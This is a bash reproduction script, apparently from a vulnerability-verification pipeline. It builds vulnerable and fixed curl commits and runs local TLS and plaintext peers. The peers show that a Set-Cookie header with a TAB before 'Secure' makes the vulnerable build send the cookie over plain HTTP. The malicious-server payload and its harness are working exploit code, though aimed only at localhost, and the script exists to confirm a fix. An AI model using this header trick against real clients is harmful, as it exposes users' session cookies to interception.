#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory.
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"
cd "$ROOT"

# Keep full-session diagnostics, but never bind this actively written file as proof.
exec > >(tee "$LOGS/reproduction_steps.log") 2>&1

FIXED_COMMIT="4f6aa41a0145e930e766775dbe860883d350aa0a"
EXPECTED_VULN_COMMIT="621e507300e6c83966567b6ae0352ca82544df13"
REPOSITORY_URL="https://github.com/curl/curl"

write_failure_manifest() {
  python3 - "$REPRO_DIR/runtime_manifest.json" <<'PY'
import json, sys
path = sys.argv[1]
data = {
  "entrypoint_kind": "tcp_peer",
  "entrypoint_detail": "Local HTTPS TCP peer sends Set-Cookie with a literal TAB before Secure; local plaintext HTTP TCP peer captures curl's subsequent request",
  "service_started": False,
  "healthcheck_passed": False,
  "target_path_reached": False,
  "runtime_stack": ["curl command-line product", "libcurl HTTP cookie parser", "Python TCP/TLS peer"],
  "proof_artifacts": [],
  "artifact_sha256": {},
  "notes": "The current runtime-backed attempt did not reach the confirmed evidence state; inspect logs/reproduction_steps.log."
}
with open(path, "w", encoding="utf-8") as f:
    json.dump(data, f, indent=2, sort_keys=True)
    f.write("\n")
PY
}
write_failure_manifest

for tool in git cmake make cc python3 openssl perl pkg-config sha256sum; do
  if ! command -v "$tool" >/dev/null 2>&1; then
    echo "Missing required tool: $tool; installing build prerequisites"
    sudo apt-get update
    sudo apt-get install -y git cmake make gcc g++ python3 openssl perl pkg-config libssl-dev ca-certificates
    break
  fi
done
if [ ! -f /usr/include/openssl/ssl.h ]; then
  echo "OpenSSL development headers are absent; installing libssl-dev"
  sudo apt-get update
  sudo apt-get install -y libssl-dev pkg-config
fi

# Required cache selection: consume project_cache_context.json and use <cache>/repo
# whenever the prepared cache is valid. Fall back only when it is absent/unusable.
CACHE_CONTEXT="$ROOT/project_cache_context.json"
CACHE_DIR=""
if [ -r "$CACHE_CONTEXT" ]; then
  CACHE_DIR="$(python3 - "$CACHE_CONTEXT" <<'PY'
import json, os, sys
try:
    with open(sys.argv[1], encoding="utf-8") as f:
        d = json.load(f)
    p = d.get("project_cache_dir")
    if d.get("prepared") is True and isinstance(p, str) and os.path.isdir(p):
        print(p)
except Exception:
    pass
PY
)"
fi
if [ -n "$CACHE_DIR" ] && [ -d "$CACHE_DIR" ]; then
  REPO="$CACHE_DIR/repo"
  WORKTREE_ROOT="$CACHE_DIR/worktrees/cve-2026-80255"
  BUILD_ROOT="$CACHE_DIR/build/cve-2026-80255"
  echo "Using prepared project cache: $CACHE_DIR"
else
  CACHE_DIR="$ROOT/artifacts/curl"
  REPO="$CACHE_DIR/repo"
  WORKTREE_ROOT="$CACHE_DIR/worktrees"
  BUILD_ROOT="$CACHE_DIR/build"
  echo "Prepared cache unavailable; using fallback: $CACHE_DIR"
fi
mkdir -p "$CACHE_DIR" "$WORKTREE_ROOT" "$BUILD_ROOT"

if [ ! -d "$REPO/.git" ]; then
  rm -rf "$REPO"
  git clone --filter=blob:none "$REPOSITORY_URL" "$REPO"
fi
# Fetch the immutable release tag that contains the full fixed commit if needed.
if ! git -C "$REPO" cat-file -e "$FIXED_COMMIT^{commit}" 2>/dev/null; then
  git -C "$REPO" fetch --no-tags origin tag curl-8_22_0
fi
FIXED_RESOLVED="$(git -C "$REPO" rev-parse "$FIXED_COMMIT^{commit}")"
VULN_COMMIT="$(git -C "$REPO" rev-parse "$FIXED_COMMIT^1")"
if [ "$FIXED_RESOLVED" != "$FIXED_COMMIT" ]; then
  echo "Fixed commit did not resolve to the ticket's immutable full SHA" >&2
  exit 1
fi
if [ "$VULN_COMMIT" != "$EXPECTED_VULN_COMMIT" ]; then
  echo "Unexpected fix parent: $VULN_COMMIT" >&2
  exit 1
fi

# Verify the fix hunk before building: parent contains TAB in the cspn delimiter;
# fixed commit removes it. These checks support identity; runtime behavior is the verdict.
VULN_SOURCE_LINE="$(git -C "$REPO" show "$VULN_COMMIT:lib/cookie.c" | grep -F 'curlx_str_cspn(&ptr, &name, ";\t\r\n=")' || true)"
FIXED_SOURCE_LINE="$(git -C "$REPO" show "$FIXED_RESOLVED:lib/cookie.c" | grep -F 'curlx_str_cspn(&ptr, &name, ";\r\n=")' || true)"
if [ -z "$VULN_SOURCE_LINE" ] || [ -z "$FIXED_SOURCE_LINE" ]; then
  echo "Could not verify vulnerable/fixed parser hunk" >&2
  exit 1
fi
if git -C "$REPO" show "$FIXED_RESOLVED:lib/cookie.c" | grep -Fq 'curlx_str_cspn(&ptr, &name, ";\t\r\n=")'; then
  echo "Fixed source unexpectedly retains vulnerable delimiter" >&2
  exit 1
fi

echo "Vulnerable commit: $VULN_COMMIT"
echo "Fixed commit:      $FIXED_RESOLVED"

aensure_worktree() {
  local path="$1" commit="$2"
  if [ -e "$path/.git" ]; then
    local current
    current="$(git -C "$path" rev-parse HEAD 2>/dev/null || true)"
    if [ "$current" = "$commit" ]; then
      return
    fi
    git -C "$path" reset --hard "$commit"
    git -C "$path" clean -fdx
    return
  fi
  rm -rf "$path"
  git -C "$REPO" worktree add --force --detach "$path" "$commit"
}

build_curl() {
  local role="$1" commit="$2"
  local src="$WORKTREE_ROOT/$role" build="$BUILD_ROOT/$role"
  local identity="$build/.pruva-build-identity"
  local flags='Release;static;OpenSSL;HTTP-only feature subset;no sanitizers'
  aensure_worktree "$src" "$commit"
  if [ ! -x "$build/src/curl" ] || [ ! -f "$identity" ] || [ "$(cat "$identity" 2>/dev/null || true)" != "$commit|$flags" ]; then
    rm -rf "$build"
    cmake -S "$src" -B "$build" \
      -DCMAKE_BUILD_TYPE=Release \
      -DBUILD_SHARED_LIBS=OFF \
      -DBUILD_CURL_EXE=ON \
      -DBUILD_EXAMPLES=OFF \
      -DBUILD_TESTING=OFF \
      -DCURL_USE_OPENSSL=ON \
      -DCURL_USE_LIBPSL=OFF \
      -DCURL_USE_LIBSSH2=OFF \
      -DCURL_USE_GSSAPI=OFF \
      -DCURL_ZLIB=OFF \
      -DCURL_BROTLI=OFF \
      -DCURL_ZSTD=OFF \
      -DUSE_LIBIDN2=OFF \
      -DCURL_DISABLE_LDAP=ON \
      -DCURL_DISABLE_LDAPS=ON \
      >"$LOGS/cmake-$role.log" 2>&1
    cmake --build "$build" --target curl --parallel "$(getconf _NPROCESSORS_ONLN 2>/dev/null || echo 2)" \
      >"$LOGS/build-$role.log" 2>&1
    printf '%s' "$commit|$flags" > "$identity"
  fi
  "$build/src/curl" --version | head -1
}

build_curl vulnerable "$VULN_COMMIT"
build_curl fixed "$FIXED_RESOLVED"
VULN_CURL="$BUILD_ROOT/vulnerable/src/curl"
FIXED_CURL="$BUILD_ROOT/fixed/src/curl"

# This real TCP peer is generated by the script itself, so it is not an external
# runnable dependency. It records exact protocol bytes crossing each socket.
PEER="$REPRO_DIR/.generated-cookie-peer.py"
cat > "$PEER" <<'PY'
#!/usr/bin/env python3
import argparse, os, socket, ssl, sys, traceback
p = argparse.ArgumentParser()
p.add_argument("--mode", choices=("https-setter", "http-capture"), required=True)
p.add_argument("--ready", required=True)
p.add_argument("--log", required=True)
p.add_argument("--cert")
p.add_argument("--key")
a = p.parse_args()
with open(a.log, "w", encoding="utf-8", newline="\n") as out:
    try:
        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listener.bind(("127.0.0.1", 0))
        listener.listen(1)
        listener.settimeout(15)
        port = listener.getsockname()[1]
        out.write(f"LISTENING mode={a.mode} address=127.0.0.1 port={port}\n")
        out.flush()
        tmp = a.ready + ".tmp"
        with open(tmp, "w", encoding="ascii") as f:
            f.write(str(port) + "\n")
        os.replace(tmp, a.ready)
        conn, addr = listener.accept()
        out.write(f"ACCEPTED mode={a.mode} peer={addr[0]}:{addr[1]}\n")
        out.flush()
        if a.mode == "https-setter":
            ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
            ctx.load_cert_chain(a.cert, a.key)
            conn = ctx.wrap_socket(conn, server_side=True)
            out.write(f"TLS_ESTABLISHED version={conn.version()}\n")
        conn.settimeout(10)
        request = b""
        while b"\r\n\r\n" not in request and len(request) < 65536:
            chunk = conn.recv(4096)
            if not chunk:
                break
            request += chunk
        out.write("REQUEST_HEX=" + request.hex() + "\n")
        out.write("REQUEST_TEXT_BEGIN\n")
        out.write(request.decode("iso-8859-1").replace("\r", "\\r") + "\n")
        out.write("REQUEST_TEXT_END\n")
        if a.mode == "https-setter":
            response = (b"HTTP/1.1 200 OK\r\n"
                        b"Content-Length: 0\r\n"
                        b"Set-Cookie: sess=SECRET;\x09Secure\r\n"
                        b"Connection: close\r\n\r\n")
            out.write("SET_COOKIE_HEX=5365742d436f6f6b69653a20736573733d5345435245543b09536563757265\n")
        else:
            response = (b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\n"
                        b"Connection: close\r\n\r\nOK")
        conn.sendall(response)
        out.write("RESPONSE_SENT bytes=%d\n" % len(response))
        out.flush()
        try:
            conn.shutdown(socket.SHUT_RDWR)
        except OSError:
            pass
        conn.close()
        listener.close()
    except Exception:
        traceback.print_exc(file=out)
        out.flush()
        sys.exit(1)
PY
chmod +x "$PEER"

CERT_DIR="$REPRO_DIR/.generated-cert"
mkdir -p "$CERT_DIR"
openssl req -x509 -newkey rsa:2048 -nodes -days 1 -subj '/CN=127.0.0.1' \
  -keyout "$CERT_DIR/key.pem" -out "$CERT_DIR/cert.pem" >"$LOGS/openssl-cert.log" 2>&1

PEER_PID=""
cleanup_peer() {
  if [ -n "$PEER_PID" ] && kill -0 "$PEER_PID" 2>/dev/null; then
    kill "$PEER_PID" 2>/dev/null || true
    wait "$PEER_PID" 2>/dev/null || true
  fi
}
trap cleanup_peer EXIT

start_peer() {
  local mode="$1" ready="$2" peerlog="$3"
  rm -f "$ready" "$peerlog"
  if [ "$mode" = "https-setter" ]; then
    python3 "$PEER" --mode "$mode" --ready "$ready" --log "$peerlog" \
      --cert "$CERT_DIR/cert.pem" --key "$CERT_DIR/key.pem" &
  else
    python3 "$PEER" --mode "$mode" --ready "$ready" --log "$peerlog" &
  fi
  PEER_PID=$!
  for _ in $(seq 1 100); do
    [ -s "$ready" ] && return 0
    if ! kill -0 "$PEER_PID" 2>/dev/null; then
      wait "$PEER_PID" || true
      echo "Peer exited before readiness; log follows:" >&2
      cat "$peerlog" >&2 || true
      return 1
    fi
    sleep 0.05
  done
  echo "Timed out waiting for $mode peer readiness" >&2
  return 1
}

run_attempt() {
  local role="$1" attempt="$2" curl_bin="$3" commit="$4"
  local stem="$role-attempt-$attempt"
  local temp="$REPRO_DIR/.$stem"
  local final="$REPRO_DIR/$stem.log"
  rm -rf "$temp" "$final"
  mkdir -p "$temp"
  local jar="$temp/cookies.txt"
  local ready="$temp/setter.ready" setterlog="$temp/setter.log"
  local capture_ready="$temp/capture.ready" capturelog="$temp/capture.log"
  local setter_cmd="$temp/setter-curl.log" capture_cmd="$temp/capture-curl.log"

  start_peer https-setter "$ready" "$setterlog"
  local setter_pid="$PEER_PID" setter_port
  setter_port="$(cat "$ready")"
  timeout 15 "$curl_bin" --http1.1 --insecure --silent --show-error \
    --noproxy '*' --resolve "tab-cookie.invalid:$setter_port:127.0.0.1" \
    --cookie-jar "$jar" "https://tab-cookie.invalid:$setter_port/set-cookie" \
    >"$setter_cmd" 2>&1
  wait "$setter_pid"
  PEER_PID=""

  start_peer http-capture "$capture_ready" "$capturelog"
  local capture_pid="$PEER_PID" capture_port
  capture_port="$(cat "$capture_ready")"
  timeout 15 "$curl_bin" --http1.1 --silent --show-error \
    --noproxy '*' --resolve "tab-cookie.invalid:$capture_port:127.0.0.1" \
    --cookie "$jar" "http://tab-cookie.invalid:$capture_port/plaintext" \
    >"$capture_cmd" 2>&1
  wait "$capture_pid"
  PEER_PID=""

  local secure_field cookie_seen expected
  secure_field="$(awk -F '\t' '$6 == "sess" {print $4}' "$jar")"
  if grep -Fq 'Cookie: sess=SECRET' "$capturelog"; then cookie_seen=true; else cookie_seen=false; fi
  if [ "$role" = "vulnerable" ]; then
    expected='secure_field=FALSE cookie_seen=true'
    [ "$secure_field" = "FALSE" ] && [ "$cookie_seen" = true ] || {
      echo "Vulnerable attempt $attempt did not disclose the cookie" >&2
      cat "$jar" "$capturelog" >&2
      return 1
    }
  else
    expected='secure_field=TRUE cookie_seen=false'
    [ "$secure_field" = "TRUE" ] && [ "$cookie_seen" = false ] || {
      echo "Fixed attempt $attempt did not fail closed" >&2
      cat "$jar" "$capturelog" >&2
      return 1
    }
  fi

  # Assemble once, atomically publish, and never modify this proof afterward.
  {
    echo "SCHEMA_VERSION=1"
    echo "ROLE=$role"
    echo "ATTEMPT=$attempt"
    echo "PRODUCT=curl command-line tool using libcurl"
    echo "REPOSITORY=$REPOSITORY_URL"
    echo "COMMIT=$commit"
    echo "BINARY=$curl_bin"
    echo "BINARY_SHA256=$(sha256sum "$curl_bin" | awk '{print $1}')"
    echo "CURL_VERSION=$($curl_bin --version | head -1)"
    echo "ENTRYPOINT_KIND=tcp_peer"
    echo "SERVICE_STARTED=true"
    echo "HEALTHCHECK_PASSED=true"
    echo "TARGET_PATH_REACHED=true"
    echo "ATTACKER_HEADER_HEX=5365742d436f6f6b69653a20736573733d5345435245543b09536563757265"
    echo "COOKIE_JAR_SECURE_FIELD=$secure_field"
    echo "PLAINTEXT_COOKIE_HEADER_SEEN=$cookie_seen"
    echo "EXPECTED=$expected"
    echo "RESULT=PASS"
    echo "--- LOADER AND LINKER EVIDENCE ---"
    ldd "$curl_bin" 2>&1 || true
    echo "--- HTTPS SETTER PEER ---"
    cat "$setterlog"
    echo "--- COOKIE JAR ---"
    cat "$jar"
    echo "--- PLAINTEXT CAPTURE PEER ---"
    cat "$capturelog"
    echo "--- SETTER CURL OUTPUT ---"
    cat "$setter_cmd"
    echo "--- CAPTURE CURL OUTPUT ---"
    cat "$capture_cmd"
  } > "$temp/final.log"
  mv "$temp/final.log" "$final"
  echo "PASS $role attempt $attempt: secure=$secure_field plaintext_cookie_seen=$cookie_seen"
}

# Required isolated product attempts: two vulnerable and two fixed.
run_attempt vulnerable 1 "$VULN_CURL" "$VULN_COMMIT"
run_attempt vulnerable 2 "$VULN_CURL" "$VULN_COMMIT"
run_attempt fixed 1 "$FIXED_CURL" "$FIXED_RESOLVED"
run_attempt fixed 2 "$FIXED_CURL" "$FIXED_RESOLVED"

IDENTITY_LOG="$REPRO_DIR/target-identity.log"
{
  echo "REPOSITORY_URL=$REPOSITORY_URL"
  echo "FIXED_COMMIT=$FIXED_RESOLVED"
  echo "VULNERABLE_COMMIT=$VULN_COMMIT"
  echo "VULNERABLE_SOURCE_LINE=$VULN_SOURCE_LINE"
  echo "FIXED_SOURCE_LINE=$FIXED_SOURCE_LINE"
  echo "VULNERABLE_BINARY_SHA256=$(sha256sum "$VULN_CURL" | awk '{print $1}')"
  echo "FIXED_BINARY_SHA256=$(sha256sum "$FIXED_CURL" | awk '{print $1}')"
  echo "VULNERABLE_VERSION=$($VULN_CURL --version | head -1)"
  echo "FIXED_VERSION=$($FIXED_CURL --version | head -1)"
} > "$IDENTITY_LOG"

# Write strict target-bound runtime evidence only after all proof files are final.
TARGET_DIGEST="$(printf 'git:%s@%s' "$REPOSITORY_URL" "$VULN_COMMIT" | sha256sum | awk '{print $1}')"
ARCH="$(uname -m)"
python3 - "$REPRO_DIR/runtime_manifest.json" "$REPRO_DIR" "$REPOSITORY_URL" "$VULN_COMMIT" "$TARGET_DIGEST" "$ARCH" <<'PY'
import hashlib, json, os, sys
manifest, repro, repo, commit, target_digest, arch = sys.argv[1:]
paths = [
    "repro/vulnerable-attempt-1.log",
    "repro/vulnerable-attempt-2.log",
    "repro/fixed-attempt-1.log",
    "repro/fixed-attempt-2.log",
    "repro/target-identity.log",
]
root = os.path.dirname(repro)
hashes = {}
for rel in paths:
    with open(os.path.join(root, rel), "rb") as f:
        hashes[rel] = hashlib.sha256(f.read()).hexdigest()
data = {
  "entrypoint_kind": "tcp_peer",
  "entrypoint_detail": "Real curl CLI uses --resolve to connect tab-cookie.invalid to a local HTTPS TCP peer that sends Set-Cookie sess=SECRET;<TAB>Secure, then to a plaintext HTTP TCP peer that captures the subsequent request",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": True,
  "runtime_stack": ["curl command-line product", "libcurl HTTP cookie parser", "OpenSSL TLS", "Python TCP/TLS peer"],
  "target_identity": {
    "repository_url": repo,
    "commit_sha": commit,
    "target_digest": target_digest,
    "platform": "linux",
    "architecture": {"x86_64": "x86_64", "amd64": "x86_64", "aarch64": "aarch64"}.get(arch, arch)
  },
  "proof_artifacts": paths,
  "artifact_sha256": hashes,
  "notes": "Two clean vulnerable product attempts disclosed the Secure-intended cookie over plaintext HTTP; two fixed-commit product attempts retained Secure and omitted the cookie. No sanitizer was used."
}
with open(manifest, "w", encoding="utf-8") as f:
    json.dump(data, f, indent=2, sort_keys=True)
    f.write("\n")
PY

# Persist only reusable source/build state when this is the prepared cache.
if [ -r "$CACHE_CONTEXT" ]; then
  MANIFEST_PATH="$(python3 - "$CACHE_CONTEXT" <<'PY'
import json, sys
try:
    with open(sys.argv[1], encoding="utf-8") as f: d=json.load(f)
    if d.get("prepared") is True: print(d.get("cache_manifest_path", ""))
except Exception: pass
PY
)"
  if [ -n "$MANIFEST_PATH" ]; then
    mkdir -p "$(dirname "$MANIFEST_PATH")"
    cat > "$MANIFEST_PATH" <<'JSON'
{
  "schema_version": 1,
  "entries": [
    {"path": "repo-mirrors", "reuse_class": "infrastructure"},
    {"path": "repo", "reuse_class": "repo"},
    {"path": "worktrees/cve-2026-80255", "reuse_class": "repo"},
    {"path": "build/cve-2026-80255", "reuse_class": "build"}
  ]
}
JSON
  fi
fi

rm -rf "$REPRO_DIR/.vulnerable-attempt-1" "$REPRO_DIR/.vulnerable-attempt-2" \
       "$REPRO_DIR/.fixed-attempt-1" "$REPRO_DIR/.fixed-attempt-2" \
       "$CERT_DIR" "$PEER"
trap - EXIT

echo "CONFIRMED: vulnerable curl disclosed sess=SECRET over plaintext HTTP in two attempts; fixed curl blocked it in two attempts."
echo "Runtime manifest: $REPRO_DIR/runtime_manifest.json"
# Exit 0 = issue confirmed; Exit 1 = not reproduced.
